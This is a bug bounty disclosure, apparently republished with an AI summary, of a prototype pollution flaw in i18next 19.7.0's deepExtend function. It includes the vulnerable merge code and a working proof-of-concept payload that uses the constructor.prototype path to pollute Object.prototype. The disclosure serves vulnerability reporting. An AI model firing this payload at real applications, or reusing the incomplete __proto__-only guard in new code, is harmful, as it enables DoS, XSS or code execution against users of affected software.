[i18next] Prototype pollution attack
The i18next library's deepExtend function only blocks the __proto__ property but not constructor, allowing an attacker to pollute Object.prototype via addResourceBundle with attacker-controlled resources. This could lead to denial of service, cross-site scripting, or remote code execution depending on how the library is used.
- Fixed in 7 months
- Disclosed after 8 months
I would like to report a prototype pollution vulnerability in i18next. It allows to modify the prototype of a base object, which may result in DoS, XSS, RCE, etc. depending on the way the library is used.
Module
module name: i18next
version: 19.7.0
npm page: https://www.npmjs.com/package/i18next
Module Description
i18next is a very popular internationalization framework for browser or any other javascript environment (eg. node.js).
Module Stats
Weekly downloads: 1,003,465
Vulnerability
Vulnerability Description
The i18next API provides a function addResourceBundle in src/ResourceStore.js:79 (see API docs here).
It allows to set many translations at once. Optionally, it can process nested objects and overwrite existing translations.
For example, you can call i18next.addResourceBundle('en', 'translations', { homepage: { title: 'The English Title'} }, true, true); to set the key "homepage.title" to "The English Title", overwriting it if it existed before.
The function addResourceBundle uses a utility function deepExtend to process nested objects.
It is defined in src/utils.js:84.
This function attempts to guard against prototype pollution by blacklisting the property __proto__.
However, it does not blacklist the property constructor.
To pollute Object you could thus set a translation like { constructor: { prototype: { polluted: true } } }.
For an application to be vulnerable, it has to use addResourceBundle with attacker-controlled input passed into the resources argument.
Moreover, both arguments deep and overwrite must be set to true.
Steps To Reproduce:
To try it out quickly, you can just copy the function deepExtend from src/utils.js:84
and use it to apply the above-mentioned payload to an empty object, with the overwrite argument set to true.
The following self-contained code snipped exemplifies how to do it. Copy and paste to a file "main.js" and run in "node main.js". It will print "Object is polluted".
// -------------- deepExtend as defined in i18next --------------
function deepExtend(target, source, overwrite) {
/* eslint no-restricted-syntax: 0 */
for (const prop in source) {
if (prop !== '__proto__') {
if (prop in target) {
// If we reached a leaf string in target or source then replace with source or skip depending on the 'overwrite' switch
if (
typeof target[prop] === 'string' ||
target[prop] instanceof String ||
typeof source[prop] === 'string' ||
source[prop] instanceof String
) {
if (overwrite) target[prop] = source[prop];
} else {
deepExtend(target[prop], source[prop], overwrite);
}
} else {
target[prop] = source[prop];
}
}
}
return target;
}
// ---------------------------------------------------------------
const translations = '{ "constructor": { "prototype": { "polluted": true} } }';
const existingData = {};
deepExtend(existingData, JSON.parse(translations), true)
if ({}.polluted)
console.log("Object is polluted")
Wrap up
Select Y or N for the following statements:
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Impact
The vulnerability may result in DoS, XSS, RCE, etc. depending on the way the library is used.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The deepExtend function's blacklist only checks for the __proto__ property and fails to also block the constructor property, allowing prototype pollution via the constructor.prototype path.
Impact
The vulnerability may result in DoS, XSS, RCE, etc. depending on the way the library is used.
What the attacker needed
Application uses addResourceBundle; attacker controls resources argument; deep and overwrite both true
How it was found
- Copy the deepExtend function from i18next's source code.
- Create a translations object containing a constructor property with a nested prototype property.
- Call deepExtend with an empty target object, the parsed translations, and overwrite set to true.
- Check if the polluted property appears on a new empty object.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Prototype pollution is a bug where an attacker can add or change properties on a base object that many other objects inherit from, potentially altering how the whole program behaves. In this case, a function that merges translation data only blocks one dangerous property name but forgets another, so an attacker who controls the translation data can sneak in changes that affect all objects.
What is Prototype pollution?
Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.